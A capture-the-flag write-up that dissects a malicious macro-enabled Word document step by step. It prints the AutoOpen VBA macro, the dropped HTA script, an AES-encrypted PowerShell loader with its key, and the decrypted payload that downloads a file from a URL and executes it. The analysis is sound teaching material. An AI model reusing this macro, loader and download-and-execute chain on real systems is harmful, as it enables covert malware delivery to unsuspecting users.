The challenge

Quinn was ecstatic when she received a invitation to “A Haunting Halloween Bash!” The design was perfectly eerie, and she saved it immediately. But the spooky fun didn’t stop there. A few hours later, her computer started acting strangely. Her cursor flickered, and she could swear she heard faint, ghostly whispers coming from her speakers. The final chilling event occurred when her desktop wallpaper suddenly changed to a glitched, haunting version. Is her computer just getting into the spirit of the season, trying to cosplay for Halloween? Or is there something more sinister lurking…

Running the file command against the file identifies it as a Word document.

└─$ file Haunting\ Halloween\ Bash.docm                                               
Haunting Halloween Bash.docm: Microsoft Word 2007+

exiftool reports it as macro-enabled.

└─$ exiftool Haunting\ Halloween\ Bash.docm 
...
File Type Extension             : docm
MIME Type                       : application/vnd.ms-word.document.macroEnabled.12

Creator                         : cwubtin
Keywords                        : ath.evoLrood
Category                        : shell
....

Now that we have identified it’s a macro-enabled Word document, we can analyze it with oletools.

└─$ olevba Haunting\ Halloween\ Bash.docm  
olevba 0.60.2 on Python 3.13.7 - http://decalage.info/python/oletools
===============================================================================
FILE: Haunting Halloween Bash.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Function contents()
ActiveDocument.Content.Find.Execute FindText:="3-", ReplaceWith:="", Replace:=2
End Function
Function keywords()
keywords = ActiveDocument.BuiltInDocumentProperties("keywords").Value
contents
End Function
Public Function s(likeLoad, loveYou)
CreateObject(likeLoad + ActiveDocument.BuiltInDocumentProperties("category").Value).exec "c:\windows\explorer " + loveYou
End Function
-------------------------------------------------------------------------------
VBA MACRO main.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/main'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Sub AutoOpen()
    If Format(Date, "dd/mm/yyyy") <> "25/10/2025" Then
        Application.Quit
        Exit Sub
    End If
    
    girlLikeYou = StrReverse(ThisDocument.keywords)
    With ActiveDocument
        .SaveAs FileName:=girlLikeYou, FileFormat:=2
    End With
    likeLovePow = "script"
    ThisDocument.s Trim("w" + likeLovePow + "."), girlLikeYou
End Sub

Analysis and Deobfuscation

Function contents()

  • It searches the document content for the string “3-” and replaces it with nothing. Replace:=2 means “replace every occurrence”.

Function keywords()

  • It reads the Keywords metadata property of the Word document.
  • Calls contents() function.
  • Returns the value of keywords metadata property.
  • In the exiftool output we can see that the keywords metadata is ath.evoLrood. This will be important later.

Function s(likeLoad, loveYou)

  • It creates an object based on the likeLoad parameter and the document’s Category metadata property, then calls .exec on that object with the argument "c:\windows\explorer " + loveYou.
  • Later in the script the vba builds the string "w" + "script" + "." and passes it to the s() function
CreateObject("wscript.shell").exec "c:\windows\explorer <additional payload>"

AutoOpen() subroutine

  • Runs automatically when the document is opened.
  • If the date is October 25, 2025:
    • It gets the keywords document property, reverses the string, and stores it in girlLikeYou.
    • Then it saves the current document as an RTF file (FileFormat:=2) using the reversed keywords string as file name - doorLove.hta.
    • At the end it calls:
ThisDocument.s Trim("w" + likeLovePow + "."), girlLikeYou

Which in essence is:

ThisDocument.s "wscript.", girlLikeYou 

The parameters get passed to s() and the function creates an object: CreateObject("wscript." + category)
From exiftool we know the category metadata is shell.

CreateObject("wscript.shell").exec "c:\windows\explorer " + girlLikeYou

We can extract the document with binwalk and explore its contents.

└─$ binwalk -e Haunting\ Halloween\ Bash.docm  

Inside document.xml we find the visible document content. It’s HTML code for an HTA script, likely the file dropped onto the computer by the malware.

...
<head>
</head>
<body>
....
 <script language="vBsCrIPt">

a70=626 - &H22C:a117=629 - &H200:a110=601 - &H1EB:a99=1048 - &H3B5:a116=237
...
res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) & ChrW ( a116 ) & ChrW ( a105 ) & ChrW ( a111 ) & ChrW ( a110 ) & ChrW ( a32 ) & ChrW ( a121 ) & ChrW ( a90 ) & ChrW ( a86 ) & ChrW ( a40 ) & ChrW ( a66 ) & ChrW ( a121 ) & ChrW ( a86 ) & ChrW ( a97 ) & ChrW ( a108 ) & ChrW ( a32 ) & ChrW ( a111 ) & ChrW ( a100 ) & ChrW ( a108 ) & ChrW ( a41 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 )
...

The string is encoded as decimal values. Using Python we can quickly decode it.

import re

def decode_vba_chrw(vba):
    # find every ChrW(aXXX) pattern
    codes = re.findall(r'ChrW\s*\(\s*a(\d+)\s*\)', vba)
    return ''.join(chr(int(c)) for c in codes)

Here’s the decoded string.

Function yZV(ByVal odl)
                   Dim JKn
                    JKn = 765
                    Dim kLR
                   kLR = dKi(odl)
                        If kLR = 7000 + 1204 Then
                    For Each Lvw In odl
                   Dim vNY
                         vNY = vNY & Chr(Lvw - JKn)
                      Next
                   End If
                  yZV = vNY
                End Function
                Function HqY()
                  Dim odl
                  Dim Nkt
                  Nkt = "powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $cSIES = 'AAAAAAAAAAAAAAAAAAAAADTAOErQDF4qsrMFmcemiE4YTep5uKcUUYoGUDYq4Tsw6kaZToihJnuIYVqzd5QjoBkC8b7sz6VOCVREfIfbnSG2yQVyb+bxqIZYOAhLxrdKnmIuT+9HwEzF3sF7/Zvwads8A2fA/a7UEP8X+RSR2Azypm+mFHpbVNJMOiuqoTY0+gDlJEZ4dRkYOpFmN4gScYDA4+nVUJHlEzAkJaXho6mIqCP0vPpAiSoHu8CTAvOdyyxY1MxnBAqNYrDpci7UEXIi98OhBa0Og1mTiFl96XA4vZ2sIpR/jhu0K3xi9H0XV3GQVJu2UScYjDdLcqnrEEMMONV7umLCXJbtNduzryyQgn3PL2wpk9AhEeCbyO8vKw5mxhjnPJKQNq10G7Wsdy7vmrmw7e32ubXa3LaCkS7KWbGA2Zs0xUtiubUrCmC56x/KPHb6nF5J4DsAuLGGdOOXtg/kEC7j/lGS2UsFbsycy+bUeUct7EdMm90ciDovI8Vp6nsQ2f5Pc1oTVLiikPZCFkF7/0PyrGQK6Pqe4XvOZt641pDR96cMpdZdzq2+bYJwTwr1eU12fLJu7+JdWGkmk1NJ3OIS1lGTkyT9Rwg0kYIn6zn9Odma70y1KpQg26zbkgtGVU8e8i19zllm37eg/VCv35naPinWlxa7ZJS629o0dMpPJCX1jtiLV8hhZ/cw9nEh8iR3eDtniuHAXToI5mNPzNtCgk9Wzu2QEx5HcdGD35S6p1vfI1K7dGhcLPBortKtgueTJXLnJlwUk3XQdPevesEstd98wXZx29zA2wexenHYc86qJRKoltjWhVDB1b/UKQqBBP4AjI8dL9WNblkeTEgdrfxks3kk1sa7dEeF96ekipp9zOAvAdKTEL/hAyy9m1KNUPjKMYB77zdx6AFvOsBHNXVas2mGGHs=';$JaDRfpRa = 'elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8=';$UjGBFtr = New-Object 'System.Security.Cryptography.AesManaged';$UjGBFtr.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UjGBFtr.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UjGBFtr.BlockSize = 128;$UjGBFtr.KeySize = 256;$UjGBFtr.Key = [System.Convert]::FromBase64String($JaDRfpRa);$RZAWw = [System.Convert]::FromBase64String($cSIES);$eLFEQPJq = $RZAWw[0..15];$UjGBFtr.IV = $eLFEQPJq;$PzMgzvGRO = $UjGBFtr.CreateDecryptor();$YVtaxLJBx = $PzMgzvGRO.TransformFinalBlock($RZAWw, 16, $RZAWw.Length - 16);$UjGBFtr.Dispose();$QMDoCzko = New-Object System.IO.MemoryStream( , $YVtaxLJBx );$STJSeO = New-Object System.IO.MemoryStream;$AxTcQTHfS = New-Object System.IO.Compression.GzipStream $QMDoCzko, ([IO.Compression.CompressionMode]::Decompress);$AxTcQTHfS.CopyTo( $STJSeO );$AxTcQTHfS.Close();$QMDoCzko.Close();[byte[]] $RscjzQ = $STJSeO.ToArray();$gAvDSOM = [System.Text.Encoding]::UTF8.GetString($RscjzQ);$gAvDSOM | powershell - }"
                    Dim Gtc
                      Set Gtc = KVI(yZV(Array(852,880,864,879,870,877,881,811,848,869,866,873,873)))
                       Gtc.Run(Nkt),0,true
                self.close()
                End Function
                Function dKi(ByVal kLR)
                    dKi = VarType(kLR)
                End Function
                Function KVI(ByVal objectType)
                Set KVI = CreateObject(objectType)
                End Function
                HqY()

There are several layers of obfuscation.

First Layer - Character Decoding

  • The yZV() function decodes an array of numbers by subtracting 765 from each and then converts to characters:
    Array(852,880,864,879,870,877,881,811,848,869,866,873,873)
    After decoding this becomes: “WScript.Shell”

Second Layer - Encrypted PowerShell payload

  • The payload is a Base64 encoded, AES encrypted, Gzip compressed PowerShell script.

We can obtain the AES configuration and the process of decryption from the PowerShell script.

  • Key: elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8= (Base64 decoded)
  • Zero padding
  • ECB mode
  • 128-bit block size, 256-bit key size

The Decryption process:

  • Takes the long Base64 string ($cSIES)
  • Uses first 16 bytes as IV
  • Decrypts the rest with AES
  • Decompresses with Gzip

Let’s decrypt the payload using CyberChef. The recipe can be found here.

Decrypted and decoded payload (formatted for better readability):

function cNS($ONT, $wfi) {
    [IO.File]::WriteAllBytes($ONT, $wfi)
}

function OxT($ONT) {
    if ($ONT.EndsWith((zXo @(4807, 4861, 4869, 4869)) -eq $True)) {
        msiexec.exe -y $ONT 
    } elseif ($ONT.EndsWith((zXo @(4807, 4873, 4876, 4810)) -eq $True)) {
        powershell.exe -ExecutionPolicy unrestricted -File $ONT
    } elseif ($ONT.EndsWith((zXo @(4807, 4870, 4876, 4866)) -eq $True)) {
        misexec /qn /i $ONT
    } elseif ($ONT.EndsWith((zXo @(4807, 4867, 4858, 4875)) -eq $True)) {
        powershell.exe -ExecutionPolicy unrestricted java -jar $ONT
    } else {
        Start-Process $ONT
    }
}

function EQE($sph) {
    $NlB = New-Object (zXo @(4839, 4862, 4877, 4807, 4848, 4862, 4859, 4828, 4869, 4866, 4862, 4871, 4877))
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12
    $wfi = $NlB.DownloadData($sph)
    return $wfi
}

function zXo($BJj) {
    $mwO = 4761
    $LND = $Null
    foreach ($ckV in $BJj) {
        $LND += [char]($ckV - $mwO)
    }
    return $LND
}

function Axa() {
    $Nxl = $env:AppData + '\'
    $BwTBpOJLq = $Nxl + 'bindropondisc11_SC.bat'
    if (Test-Path -Path $BwTBpOJLq) {
        OxT $BwTBpOJLq
    } else {
        $juKrxoSTtI = EQE (zXo @(4865, 4877, 4877, 4873, 4819, 4808, 4808, 4880, 4880, 4880, 4807, 4870, 4862, 4877, 4858, 4860, 4877, 4863, 4807, 4860, 4872, 4870, 4808, 4838, 4862, 4877, 4858, 4828, 4845, 4831, 4884, 4811, 4812, 4813, 4863, 4816, 4862, 4860, 4818, 4811, 4817, 4861, 4818, 4861, 4862, 4814, 4816, 4815, 4813, 4812, 4817, 4814, 4812, 4862, 4816, 4812, 4812, 4814, 4812, 4886))
        cNS $BwTBpOJLq $juKrxoSTtI
        OxT $BwTBpOJLq
    }
}

Axa

With the PowerShel descrypted we can now see the execution flow.

  • It creates a WScript.Shell object
  • Launches PowerShell with execution policy bypass
  • Starts a cmd.exe with hidden window
  • The hidden command runs the decrypted PowerShell payload
  • Closes the original script window (self.close())

There’s one more layer of obfuscation here.

This time function zXo($BJj) subtracts 4761 from each integer in the arrays and turns the result to a character.

$NlB = Net.WebClient
$juKrxoSTtI = http://www.metactf.com/MetaCTF{234f7ec928d9de57643853e73353}

We now have the flag.